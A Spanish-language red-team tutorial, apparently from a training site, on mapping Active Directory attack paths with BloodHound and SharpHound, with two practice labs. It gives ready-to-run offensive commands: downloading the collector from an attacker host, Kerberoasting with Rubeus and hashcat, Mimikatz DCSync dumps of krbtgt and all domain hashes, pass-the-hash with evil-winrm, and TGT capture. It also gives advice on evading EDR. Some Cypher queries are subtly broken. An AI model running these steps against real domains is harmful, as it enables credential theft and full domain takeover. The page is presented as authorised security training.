Saltar al contenido principal

BloodHound

AD AnalysisCommunity Ed.Red Team

Mapea relaciones de Active Directory para identificar rutas de ataque hasta Domain Admin. Analiza membresías de grupos, delegaciones, Kerberoasting, DCSync y caminos de escalada de privilegios.

Fase 1 — Recopilación de datos con SharpHound

Colectar el grafo completo de Active Directory

BloodHound no funciona sin datos. SharpHound es el colector que ejecutas en un dominio Windows comprometido para recopilar usuarios, grupos, computadoras, GPOs, OU y las relaciones entre ellos. Necesitas credenciales de un usuario del dominio (no necesitas ser Domain Admin).

Modos de colecta:

  • Default — Recopila Group Memberships, Local Admin, Sessions, ACLs, Containers y Trusts
  • Collection Method All — Añade Password Policies, GPOLocalGroups, UserObject y ComputerObject
  • Stealth — Usa sesiones existentes en vez de hacer conexiones nuevas (más lento, menos ruido)
bash
# Ejecutar SharpHound desde memoria (sin escribir en disco)
# Descargar el .exe y cargarlo en PowerShell
Invoke-WebRequest -Uri "http://attacker/sharpound.exe" -OutFile sh.exe
.\sh.exe -c All -d dominio.local --zip

# O desde Linux con bloodhound-python (no requiere Windows)
pip install bloodhound
bloodhound-python -u usuario -p 'P@ssw0rd' -d dominio.local -dc dc01.dominio.local -c All

# Modo stealth (menos ruido en el dominio)
.\sh.exe -c Default --stealth --loop --loopduration 02:00:00

# El archivo .zip se genera automáticamente en el directorio actual
# Subirlo a BloodHound CE o BloodHound Community

💡Si el dominio tiene EDR avanzado, usa --stealth y ejecuta SharpHound en horario laboral cuando hay más tráfico de red para mezclarse. La opción --loop repite la colecta cada X tiempo para capturar sesiones de usuarios activos.

Fase 2 — Importar datos y análisis inicial

Cargar el grafo en BloodHound y explorar rutas de ataque

BloodHound Community Edition se ejecuta como servidor web local (o Docker). Una vez cargado el archivo .zip de SharpHound, el grafo se renderiza automáticamente con todas las relaciones de Active Directory.

Panel principal — lo que ves al cargar:

  • Nodes — Usuarios, computadoras, grupos, GPOs, OU, dominios
  • Edges — Relaciones: MemberOf, AdminTo, HasSession, CanRDP, GenericAll, etc.
  • Queries predefinidas — Atajos para preguntas comunes de seguridad AD
bash
# Iniciar BloodHound CE (Docker)
sudo docker pull bloodhound/bloodhound:latest
sudo docker run -d --name bloodhound \
  -p 8080:80 -p 7474:7474 -p 7687:7687 \
  -e BLOODHOUND_INJECTORS=true \
  bloodhound/bloodhound:latest

# Login por defecto: admin / S3cretP@ss123 (cambiar después)

# En la interfaz web (http://localhost:8080):
# 1. Drag & drop el .zip de SharpHound al panel
# 2. Esperar a que termine el ingest (1-5 min)
# 3. Usar la barra de búsqueda para encontrar usuarios/computers
# 4. Click en un nodo para ver relaciones entrantes y salientes

💡BloodHound CE soporta múltiples dominios y forests. Si el entorno tiene trust relationships entre dominios, importa los datos de todos los dominios para ver rutas de ataque cross-domain.

Fase 3 — Queries de análisis de seguridad

Identificar debilidades críticas con queries predefinidas

BloodHound incluye queries Cypher predefinidas que responden preguntas de seguridad críticas. Cada query revela una debilidad diferente en la configuración de Active Directory.

Las 5 queries más importantes para pentesting:

1. Shortest Path to Domain Admin — Encuentra la ruta más corta desde cualquier nodo comprometible hasta DA.

2. Kerberoastable Users — Usuarios con SPN configurado que permiten Kerberoasting (crack offline de contraseñas).

3. Find All Domain Admins — Mapea quién tiene acceso directo o indirecto a Domain Admin.

4. Users with DCSync Rights — Usuarios que pueden replicar contraseñas del controlador de dominio.

5. Shortest Path from Owned Principals — Desde usuarios/sesiones comprometidos, muestra rutas a objetivos de alto valor.

bash
# Query Cypher: Shortest Path to Domain Admin
MATCH p=shortestPath((n {owned:true})-[*1..]->(m {domain_admin:true}))
RETURN p

# Query Cypher: Kerberoastable Users
MATCH (u:User {hasspn:true}) WHERE NOT u.name STARTS WITH 'KRBTGT'
RETURN u.name, u.serviceprincipalnames, u.admincount

# Query Cypher: DCSync Rights
MATCH (n)-[:DS-Replication-Get-Changes]->(d:Domain)
MATCH (n)-[:DS-Replication-Get-Changes-All]->(d)
RETURN n.name, n.objectid

# Query Cypher: Users with GenericAll on Domain Admins
MATCH (n)-[:GenericAll]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})
RETURN n.name, labels(n), type(r)

# Query Cypher: Shortest Path to Kerberoastable Target
MATCH p=shortestPath(
  (n1 {hasspn:true})<-[:MemberOf*1..5]-(u:User)
)
WHERE n1.enabled = true
RETURN p LIMIT 10

💡Marca los usuarios que ya comprometiste con prop.set({owned:true}) para que las queries de "Shortest Path from Owned" funcionen correctamente. Ejemplo: MATCH (u:User {name:"jsmith"}) SET u.owned=true

Fase 4 — Identificación de caminos de escalada

Mapear las relaciones que permiten escalar privilegios en AD

El verdadero poder de BloodHound es revelar caminos de escalada que serían invisibles en auditorías manuales. Cada tipo de relación en el grafo representa una oportunidad de explotación.

Relaciones de escalada más comunes:

Relación Significado Explotación
GenericAll Control total sobre el objeto Cambiar contraseña, añadir a grupo
WriteDACL Puede modificar permisos Añadir self como GenericAll
WriteOwner Puede cambiar propietario Tomar control del objeto
AddMember Puede añadir usuarios a grupo Añadir cuenta controlada a Domain Admins
CanRDP Acceso RDP remoto Login directo a la máquina
HasSession Sesión activa del usuario Pass-the-Hash si hay hash
AdminTo Admin local de la máquina Extraer credenciales de LSASS
LAPSRead Puede leer contraseña LAPS Obtener admin local de cualquier máquina
GPLink Puede aplicar GPO a OU Forzar configuración en múltiples máquinas
bash
# Buscar todas las relaciones GenericAll salientes de un usuario
MATCH (u:User {name:'jsmith'})-[r:GenericAll]->(n)
RETURN n.name, labels(n), type(r)

# Buscar cadenas de escalada: Usuario → Grupo → Grupo → DA
MATCH p=shortestPath(
  (u:User {name:'jsmith'})-[:MemberOf*1..6]->(g:Group)
)-[:MemberOf*0..3]->(da:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})
RETURN p

# Identificar máquinas con sesiones de Domain Admins
MATCH (da:User)-[:MemberOf*1..3]->(g:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})
MATCH (da)-[:HasSession]->(c:Computer)
RETURN da.name, c.name, c.operatingsystem

# Buscar delegaciones no configuradas correctamente
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name CONTAINS 'DC'
RETURN c.name, c.operatingsystem

💡Una cadena típica de escalada en AD: Usuario → MemberOf → HelpDesk Group → GenericAll → Server Admin → AdminTo → Domain Controller. BloodHound la muestra como un solo camino visual.

Fase 5 — Extracción de credenciales y post-explotación

Aprovechar las debilidades encontradas para obtener credenciales

Una vez que BloodHound identifica los caminos, el siguiente paso es explotar las debilidades específicas encontradas. Cada relación del grafo tiene una técnica de explotación correspondiente.

Técnicas según la debilidad encontrada:

Kerberoasting → Crack offline de contraseñas de cuentas con SPN DCSync → Replicar hashes de TODOS los usuarios del dominio GPP Passwords → Credenciales guardadas en Group Policy Preferences LAPS → Obtener contraseñas locales administrativas de máquinas Delegations → Obtener TGTs de otros usuarios o servicios

bash
# Kerberoasting (si BloodHound encontró hasspn:true)
# Usando Rubeus
Rubeus.exe kerberoast /outfile:hashes.txt
# Crack con hashcat
hashcat -m 13100 hashes.txt wordlist.txt

# DCSync (si BloodHound encontró DS-Replication rights)
# Usando Mimikatz
mimikatz # lsadump::dcsync /user:krbtgt
mimikatz # lsadump::dcsync /all /csv

# Pass-the-Hash con hash NTLM extraído
# Usando evil-winrm
evil-winrm -i 192.168.1.10 -u administrator -H <NTLM_HASH>

# Obtener TGT de usuario delegado (Unconstrained Delegation)
# Usando Rubeus
Rubeus.exe monitor /interval:5 /nowrap
# Cuando el usuario objetivo hace login, Rubeus captura su TGT

💡Siempre prueba Kerberoasting primero: es la técnica menos detectable y más rápida. Un hash Kerberoastable de usuario con contraseña débil puede crackearse en minutos con hashcat y un buen diccionario.

Labs Prácticos

Básico 25 min

Lab 1: Mapeo de Active Directory con SharpHound

Objetivo

Recopilar el grafo completo de Active Directory usando SharpHound yBloodHound, identificando usuarios, grupos y relaciones clave.

Escenario

Tienes credenciales de un usuario normal del dominio (no Domain Admin). Necesitas recopilar información del dominio para identificar rutas de ataque potenciales hacia Domain Admin.

Pasos

1

Ejecutar SharpHound con el método de colecta "All" para obtener el grafo completo

2

Importar el archivo .zip resultante en BloodHound CE

3

Identificar el número total de usuarios, computadoras y grupos del dominio

4

Localizar usuarios con SPN configurado (kerberoastables)

bash — práctica
# PASO 1: Descargar y ejecutar SharpHound desde PowerShell
Invoke-WebRequest -Uri "http://kali:8080/sharpound.exe" -OutFile sh.exe
.\sh.exe -c All -d lab.local --zip

# PASO 2: También se puede ejecutar desde Linux
pip install bloodhound
bloodhound-python -u jsmith -p 'Password123!' \
  -d lab.local -dc dc01.lab.local -c All

# PASO 3: Subir el .zip a BloodHound CE
# En la interfaz web: drag & drop el .zip al panel principal
# Esperar a que termine el ingest (1-5 minutos)

# PASO 4: Buscar kerberoastables en la interfaz
# Queries > Kerberoastable Users
# O Cypher: MATCH (u:User {hasspn:true}) RETURN u.name

Resultado esperado

SharpHound generará un archivo .zip con el grafo completo del dominio. BloodHound mostrará todos los usuarios, computadoras y grupos. Deberías ver al menos 1 usuario kerberoastable (con SPN configurado).

Intermedio 35 min

Lab 2: Encontrar ruta de ataque hasta Domain Admin

Objetivo

Usar BloodHound para identificar una cadena de escalada de privilegios completa desde un usuario normal hasta Domain Admin.

Escenario

Ya tienes el grafo de BloodHound cargado. Un usuario普通 (jsmith) fue comprometido y marcado como "owned". Necesitas encontrar la ruta más corta desde jsmith hasta Domain Admin usando las relaciones del grafo.

Pasos

1

Marcar al usuario comprometido como "owned" en BloodHound

2

Ejecutar la query "Shortest Path to Domain Admin" desde el usuario owned

3

Analizar la cadena de escalada identificada

4

Explorar cada relación de la cadena para identificar la técnica de explotación

bash — práctica
# PASO 1: Marcar al usuario comprometido como "owned"
# En BloodHound: click en el nodo jsmith > click en el icono de corona > "Mark as Owned"
# O Cypher: MATCH (u:User {name:'JSMITH@LAB.LOCAL'}) SET u.owned=true

# PASO 2: Ejecutar query shortest path
MATCH p=shortestPath((n {owned:true})-[*1..]->(m {domain_admin:true}))
RETURN p

# PASO 3: Analizar la cadena resultante
# Ejemplo de cadena típica:
# JSMITH@LAB.LOCAL --MemberOf--> HELPDESK@LAB.LOCAL
#   --GenericAll--> SERVER01@LAB.LOCAL
#     --AdminTo--> DC01@LAB.LOCAL
#       --MemberOf--> DOMAIN ADMINS@LAB.LOCAL

# PASO 4: Verificar cada relación
# GenericAll sobre SERVER01 = puede cambiar contraseña o añadir a grupo
# AdminTo sobre DC01 = tiene admin local en el controlador de dominio
# Domain Admins = objetivo final

# PASO 5: Identificar técnica de explotación para cada hop
# HelpDesk → Server01: GenericAll = AddMember a grupo de admin local
# Server01 → DC01: AdminTo = Pass-the-Hash o Mimikatz

Resultado esperado

BloodHound mostrará una cadena visual de nodos conectados desde jsmith hasta Domain Admin. La cadena típica incluye 3-5 hops: usuario → grupo → máquina → grupo → DA. Podrás ver cada tipo de relación y la técnica de explotación correspondiente.

Aviso legal: Este contenido es estrictamente educativo. CyberFlows no apoya actividades ilegales. Úsalo solo en entornos autorizados.